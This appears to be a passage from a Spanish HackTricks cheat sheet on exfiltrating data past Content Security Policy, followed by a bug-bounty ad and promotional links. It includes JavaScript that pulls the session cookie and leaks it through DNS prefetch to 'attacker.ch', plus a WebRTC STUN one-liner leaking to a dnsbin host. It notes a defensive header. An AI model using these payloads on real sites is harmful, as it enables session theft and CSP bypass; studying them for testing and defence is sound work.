Puedes indicarle a un navegador que resuelva de antemano un nombre de host con: <link reol="dns-prefetch" href="algo.com">
Podrías abusar de este comportamiento para filtrar información sensible a través de solicitudes DNS:
var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";
Otra forma:
const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);
Para evitar que esto suceda, el servidor puede enviar el encabezado HTTP:
X-DNS-Prefetch-Control: off
{% hint style="info" %} Aparentemente, esta técnica no funciona en navegadores sin cabeza (bots) {% endhint %}
WebRTC
En varias páginas puedes leer que WebRTC no verifica la política connect-src
del CSP.
En realidad, puedes filtrar información utilizando una solicitud DNS. Echa un vistazo a este código:
(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()
Verificación de las políticas de CSP en línea
Creación automática de CSP
https://csper.io/docs/generating-content-security-policy
Referencias
- https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/
- https://lcamtuf.coredump.cx/postxss/
- https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d
- https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme
- https://www.youtube.com/watch?v=MCyPuOWs3dg
HackenProof es el hogar de todas las recompensas por errores de criptografía.
Obtén recompensas sin demoras
Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Obtendrás la recompensa después de que se verifique el error.
Obtén experiencia en pentesting web3
¡Los protocolos de blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.
Conviértete en la leyenda del hacker web3
Gana puntos de reputación con cada error verificado y conquista la cima de la clasificación semanal.
Regístrate en HackenProof ¡comienza a ganar con tus hacks!
{% embed url="https://hackenproof.com/register" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el oficial PEASS & HackTricks swag
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.